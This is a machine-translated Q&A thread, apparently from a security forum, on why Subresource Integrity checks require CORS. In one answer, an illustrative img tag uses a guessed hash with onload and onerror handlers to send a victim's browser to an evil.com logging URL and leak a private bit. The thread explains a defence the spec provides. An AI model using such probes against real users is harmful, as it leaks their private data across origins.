web-dev-qa-db-ja.com

CORSにサブリソースの整合性検証を要求することにより、どのような攻撃が緩和されますか？

このパラグラフで言及されているW3Cの攻撃について、誰かが詳しく説明できますか SubResource Integrity spec ？

整合性チェックを介してブルートフォーシング値によって攻撃者がデータのクロスオリジンを読み取る能力を緩和するために、レスポンスは、それらが同じオリジンであるか、クロスオリジンを介してロード元のオリジンに明示的にアクセスを許可した結果である場合にのみ、そのようなチェックの対象となります。リソース共有[CORS]。

私にとって、それは無意味であると思われます：

  1. 「総当たりの値でデータをクロスオリジンで読み取る」という私の読書は、それがサーバーに対する攻撃であることを示唆しています。
  2. ブラウザー以外のユーザーエージェントは、CORSがなくても常にサーバーからフェッチできます。
  3. ハッシュ検証を追加すると、検証されていないクロスオリジンのCSSおよびJavaScriptの取得がCORSよりも前であり、レガシー互換性のためにサポートする必要がある場合に、CORSが軽減する新しい脅威がどのように現れるかわかりません。

より実用的なレベルで、私は尋ねます：

  1. SRI Origin + IPを介したユーザー追跡が suppress （sites）または forge （browsers）Refererヘッダー（Referer + IPトラッキングからの保護用）（偽善を避けるために常にサブリソースをセルフホストする理由）。
  2. Decentraleyes のような既存のブラウザ拡張機能を、CORS以前を使用してCSSまたはJavaScriptリソースを要求することに基づくより一般的なソリューションで補完すると、セキュリティリスクが増加するのではないかと思います。ヘッダーのセット（Refererの偽造とペアになっています）が、提供されたハッシュを強制します。

EDIT：@Andersが認証されたリクエスト（つまり、セッションCookieなどのリクエスト）でそれを使用する理由に答えたが、その理由は説明されていないcrossorigin="anonymous"は、<script>と<link rel="stylesheet">の整合性チェックを行うことはできますが、crossorigin属性を完全に省略することはできません。

攻撃がonloadまたはonerrorを使用して、サブリソースがハッシュと一致するかどうかに基づいて1ビットの情報を抽出することを含む場合、crossorigin="anonymous"でそれを行うことは、すでに行われている攻撃のクラスです。 SRIフリーのサブリソースにonloadを設定し、それらがDOMまたはそのレンダリングを変更したかどうかを調べることにより、CSSおよびJavaScriptサブリソースで可能です。

httpsame-origin-policycorssub-resource-integrity
10
ssokolow

攻撃

彼らが防御しようとしている攻撃は次のとおりだと思います。

santaclause.comがログインしているユーザーにsantaclause.com/naughty_or_Nice.pngで画像を提供するとします。ログインしたユーザーがナイスの場合、画像は緑色のチェックマークで、いたずらの場合は赤いXです。マロリーは、アリスがニースかどうか知りたいと思っています。したがって、evil.comでは、ページに次のように設定し、リンクをクリックしてアリスに送信します。

<img src="santaclause.com/naughty_or_Nice.png"
     integrity="sha256-{hash of Nice image}"
     onload="document.location='http://evil.com?log=Nice';"
     onerror="document.location='http://evil.com?log=naughty';"
>

Aliceがページを表示すると、ブラウザは彼女のセッションCookieをsantaclause.comに送信し、Niceであった場合は、Niceイメージで応答します。 onloadイベントが発生し、マロリーは彼女がevil.comでニースであったことをログに記録します。一方、彼女がいたずらだった場合、整合性チェックは失敗し、したがってマロリーはアリスがいたずらであることがわかります。

仕様上、この攻撃は失敗します。 santaclause.comは「CORSを介して読み込み元のOriginへのアクセスを明示的に許可していない」ため、ブラウザは整合性チェックを行わず、ハッシュが間違っていても画像を読み込み、常にonloadイベントを発生させますonerrorイベントは決してありません。

仕様にこの詳細がなければ、攻撃者は被害者の資格情報を使用してOriginのクロスリクエストを作成し、「これは応答でしたか？」という種類の質問への回答を得る可能性があります。応答を読み取るだけの場合ほど悪くはありませんが、攻撃者が可能な限り小さい値のセットからの応答である場合、攻撃者は応答をブルートフォースで攻撃することができます。

なぜそれが無意味ではないのか

「総当たりの値でデータをクロスオリジンで読み取る」という私の読書は、それがサーバーに対する攻撃であることを示唆しています。

上記はサーバーではなくユーザーへの攻撃だと思います（サーバーが明らかに関与している場合でも）。

ブラウザー以外のユーザーエージェントは、CORSがなくても常にサーバーからフェッチできます。

はい、しかしマロリーはどのようにしてアリスを欺いて、ブラウザ以外のユーザーエージェントのリンクをたどりますか？

ハッシュ検証を追加すると、検証されていないクロスオリジンのCSSおよびJavaScriptの取得がCORSよりも前であり、レガシー互換性のためにサポートする必要がある場合に、CORSが軽減する新しい脅威がどのように現れるかわかりません。

CSRF保護なしでJSまたはCSSに機密情報を埋め込むと、クロスオリジン攻撃にさらされることになります（はい）。スペックはそれを防ぐふりをしたことはありません。

ただし、画像またはJSONで同じことから保護すると主張しているため、新しい機能が追加された場合でも、保護を継続する必要があります。

[...]これは、crossorigin = "anonymous"がandで整合性チェックを実行するために受け入れられる理由を説明していませんが、crossorigin属性を完全に省略することはできません。

SilverlightFoxが 彼の回答 で指摘しているように、匿名のリクエストでも機密情報を返す可能性があります。 IPを使用して異なるユーザーに異なるコンテンツを返す場合。そのため、サイトに認証ヘッダーが含まれていなくても、クロスドメインリクエストの結果の読み取りを許可しないでください。

[...]そしてcrossorigin="anonymous"でそれを行うことは、SRIフリーのサブリソースにonloadを設定し、それらが変更されたかどうかを調べることにより、CSSおよびJavaScriptサブリソースですでに可能である攻撃のクラスですDOMまたはそのレンダリング。

はい、サイトは、スタイルシートとJavaScriptに対するOriginのクロスリクエストのコンテンツに関する情報を推測できます（ところでJSONPが機能するのはそのためです）。これはよく知られており、仕様はそれを防ぐふりをしたことがありません。

これを拡張して、Originous Cross Originリクエストの整合性チェックを許可すると、JSやCSSだけでなく、あらゆる種類のリソース（JSON、XML、画像など）で機能するようにその機能が拡張されます。

どうして？ JSファイルの内容に関する情報を推測するには、実際に実行する必要があるため、JSである必要があります。たとえば、スクリプトタグ内のXMLファイルは、構文エラーです。ただし、スクリプトタグを使用してXMLファイルを簡単に含め、整合性属性をそれに適用し、ロードされるかどうかを確認することでその内容を知ることができます。

10
Anders

CORSにサブリソースの整合性の検証を要求することにより、どのような攻撃が緩和されますか？

Same Origin Policy は、ユーザーデータの分離によるWebのクライアント側のセキュリティモデルの要です。すでにご存じのとおり、CORSはデフォルトのSOP制限を緩和します。これらの制限を緩和しないと、Originサイトはintegrity属性を介してリソースの整合性を含め、応答を検査する権利がありません。

CORSを必須にすることで、ユーザーデータのプライバシーを暴露する攻撃を軽減できます。例えばJavaScriptファイルに、ログインしたユーザーのメールアドレスが含まれているとします。

email = "[email protected]";

整合性のチェックを明示的に許可する外部サイトがない場合、インターネット上の任意のサイトが電子メールアドレスのリストを実行することにより、電子メールアドレスをブルートフォースする可能性がありますハッシュアルゴリズム（およびJavaScriptファイルの残りの部分）が一致するタイミングを確認します。これは、仕様でブルートフォーシングが意味するものです。

あなたの他のポイントに：

ブラウザー以外のユーザーエージェントは、CORSがなくても常にサーバーからフェッチできます。

クライアント側の攻撃では、認証されたリクエストでCookieが提供されるため、被害者のブラウザが常に役割を果たす必要があります。または、別のタイプの認証メカニズム（IPなど）が使用されている場合は、認証されていないブラウザで被害者のIPを提供します。リクエスト。攻撃者はユーザーエージェントを選択する人物ではないため、ブラウザ以外のユーザーを方程式に取り入れることは重要なポイントです。

ハッシュ検証を追加すると、検証されていないクロスオリジンのCSSおよびJavaScriptの取得がCORSよりも前であり、レガシー互換性のためにサポートする必要がある場合に、CORSが軽減する新しい脅威がどのように現れるかわかりません。

これは誤りです。レガシーでは、コードによる外部リソースの読み取りを許可していません。はい、ブラウザ自体はトップレベルサイトの外部にあるJSとCSSを使用できますが、Originからのスクリプトが応答を読み取っていないため、これはCORSリクエストとは見なされません。レンダリングとスクリプトの実行はブラウザ自体にすぎません。

上記の私の例では、サブリソースの完全性が実現する前であっても、要求元のサイトがリテラルコードemail = "[email protected]";を読み取る方法はありません。 email変数が closure に含まれていた場合、OriginサイトのJavaScriptでさえ、まったく照会できません。

編集：@Andersは、認証されたリクエスト（セッションCookieなどのリクエスト）でそれを使用する根拠に答えましたが、crossorigin = "anonymous"がとで整合性チェックを実行できる理由は説明していませんが、crossorigin属性を省略しています完全にそうではありません。

2つのクロスオリジン値が考えられます。

  • crossorigin="anonymous"
  • crossorigin="use-credentials"

CORSは外部のOriginで必要なので、現在のOriginで期待されるものを指定することは理にかなっています。

攻撃がonloadまたはonerrorを使用して、サブリソースがハッシュに一致するかどうかに基づいて1ビットの情報を抽出することを含む場合、crossorigin = "anonymous"でそれを行うことは、onloadを設定することにより、CSSおよびJavaScriptサブリソースですでに可能である攻撃のクラスですSRIフリーのサブリソースで、DOMまたはそのレンダリングを変更したかどうかを調べます。

はい。リソースは現在のサイトのコンテキストに適用されるため、CORSの有無にかかわらず、外部CSSまたはJavaScriptの効果を調べることができます。ただし、クロスオリジンリクエストから実際のソースコードを表示することはできません。 CORSを有効にすると、CSSまたはJavaScriptリソースも<script>または<link>タグではなくXHRを介して要求される可能性があるため、これを許可します。

資格情報を必要としないそのようなシナリオの1つは、Cookie、認証ヘッダー、または証明書を使用しない認証モデルを想像する場合です。リモートIPアドレスはその良い例です。

Andersのnaughty_or_Nice.pngが、ログイン資格情報ではなくIPアドレスに基づいてユーザーの良し悪しを返した場合、crossorigin="anonymous"は問題なく、santaclause.comであればリソースの整合性をチェックできます。 Access-Control-Allow-Originを適切に出力します。

それ以外の場合はcrossorigin="use-credentials"である必要があり、santaclause.comはAccess-Control-Allow-Credentials: trueおよびACAOヘッダーを出力する必要があります。

最初の例では、リモートサイトがセキュリティを制御できます。それでも、Origin要求ヘッダーを調べて、CORSヘッダーで要求を許可または拒否できます。 2つ目は、通常どおり承認ルールを適用する必要があるだけです。

つまり、正しいCORSヘッダーが送信されるように（crossorigin）、Originタグが必要です。また、外部サイトで許可されている場合（CORSを介して）、integrityタグを使用すると、ブラウザーは発信元サイトに代わって応答を検査できます。

あれは：

  • crossorigin =送信しています。応答としてACAOまたはACAOとACACのいずれかが必要です。
  • integrity =受信しています。前述のヘッダーが適切に返された場合は、外部Originからのハッシュを確認します。
4
SilverlightFox